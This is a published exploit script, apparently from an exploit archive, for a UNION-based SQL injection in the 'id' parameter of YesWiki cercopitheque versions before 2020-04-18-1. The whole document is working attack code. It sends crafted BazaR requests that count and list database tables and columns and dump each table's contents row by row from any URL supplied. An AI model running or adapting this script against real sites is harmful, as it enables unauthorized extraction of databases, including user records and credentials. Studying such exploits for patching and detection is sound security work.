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134 | # Exploit Title: YesWiki cercopitheque 2020.04.18.1 - 'id' SQL Injection
# Date: 2020-04-25
# Exploit Author: coiffeur
# Vendor Homepage: https://yeswiki.net/
# Software Link: https://yeswiki.net/, https://github.com/YesWiki/yeswiki
# Version: YesWiki cercopitheque < 2020-04-18-1
import sys
import requests
DEBUG = 0
def usage():
banner = """NAME: YesWiki cercopitheque 2020-04-18-1, SQLi
SYNOPSIS: python sqli_2020.04.18.1.py <URL> [OPTIONS]...
DESCRIPTION:
-lt, list tables.
-dt <TABLE>, dump table.
AUTHOR: coiffeur
"""
print(banner)
def parse(text):
deli_l = 'ABCAABBCC|'
deli_r = '|ABCAABBCC'
if (text.find(deli_l) == -1) or (text.find(deli_r) == -1):
print('[x] Delimiter not found, please try to switch to a Time Based SQLi')
exit(-1)
start = text.find(deli_l) + len(deli_l)
end = start + text[start::].find(deli_r)
return text[start:end]
def render(elements):
print(elements)
def get_count(t_type, table_name=None, column_name=None):
if t_type == 'table':
payload = '?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,count(TABLE_NAME),0x7c,0x414243414142424343) FROM information_schema.tables),NULL,NULL,NULL,NULL,NULL-- -'
if DEBUG > 1:
print(f'[DEBUG] {payload}')
r = requests.get(url=f'{sys.argv[1]}{payload}')
if r.status_code == 200:
data = parse(r.text)
if t_type == 'column':
payload = f'?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,count(COLUMN_NAME),0x7c,0x414243414142424343) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "{table_name}"),NULL,NULL,NULL,NULL,NULL-- -'
if DEBUG > 1:
print(f'[DEBUG] {payload}')
r = requests.get(url=f'{sys.argv[1]}{payload}')
data = parse(r.text)
if t_type == 'element':
payload = f'?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,count({column_name}),0x7c,0x414243414142424343) FROM {table_name}),NULL,NULL,NULL,NULL,NULL-- -'
if DEBUG > 1:
print(f'[DEBUG] {payload}')
r = requests.get(url=f'{sys.argv[1]}{payload}')
data = parse(r.text)
return int(data)
def list_tables():
tables_count = get_count(t_type='table')
print(f'[+] Tables found: {tables_count}')
tables = []
for i in range(0, tables_count):
payload = f'?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,TABLE_NAME,0x7c,0x414243414142424343) FROM information_schema.tables LIMIT 1 OFFSET {i}),NULL,NULL,NULL,NULL,NULL-- -'
if DEBUG > 1:
print(f'[DEBUG] {payload}')
r = requests.get(url=f'{sys.argv[1]}{payload}')
if r.status_code == 200:
talbe = parse(r.text)
print(f'\t{talbe}')
tables.append(talbe)
return tables
def list_columns(table_name):
columns_count = get_count(t_type='column', table_name=table_name)
print(f'[+] Columns found: {columns_count}')
columns = []
for i in range(0, columns_count):
payload = f'?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,COLUMN_NAME,0x7c,0x414243414142424343) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "{table_name}" LIMIT 1 OFFSET {i}),NULL,NULL,NULL,NULL,NULL-- -'
if DEBUG > 1:
print(f'[DEBUG] {payload}')
r = requests.get(url=f'{sys.argv[1]}{payload}')
if r.status_code == 200:
column = parse(r.text)
if DEBUG > 0:
print(f'\t{column}')
columns.append(column)
return columns
def dump_table(name):
columns = list_columns(name)
elements = [None]*len(columns)
for i in range(0, len(columns)):
elements_count = get_count(
t_type='element', table_name=name, column_name=columns[i])
if DEBUG > 0:
print(f'[+] Dumping: {columns[i]} ({elements_count} rows)')
element = []
for j in range(0, elements_count):
payload = f'?BazaR&vue=consulter&id=-9475 UNION ALL SELECT (SELECT concat(0x414243414142424343,0x7c,{columns[i]},0x7c,0x414243414142424343) FROM {name} LIMIT 1 OFFSET {j}),NULL,NULL,NULL,NULL,NULL-- -'
if DEBUG > 1:
print(f'[DEBUG] {payload}')
r = requests.get(url=f'{sys.argv[1]}{payload}')
if r.status_code == 200:
element.append(parse(r.text))
if DEBUG > 0:
print(f'\t{element[-1]}')
elements[i] = element
render(elements)
return elements
def main():
if len(sys.argv) < 3:
print(usage())
exit(-1)
if sys.argv[2] == '-lt':
list_tables()
if sys.argv[2] == '-dt':
dump_table(sys.argv[3])
if __name__ == "__main__":
main()
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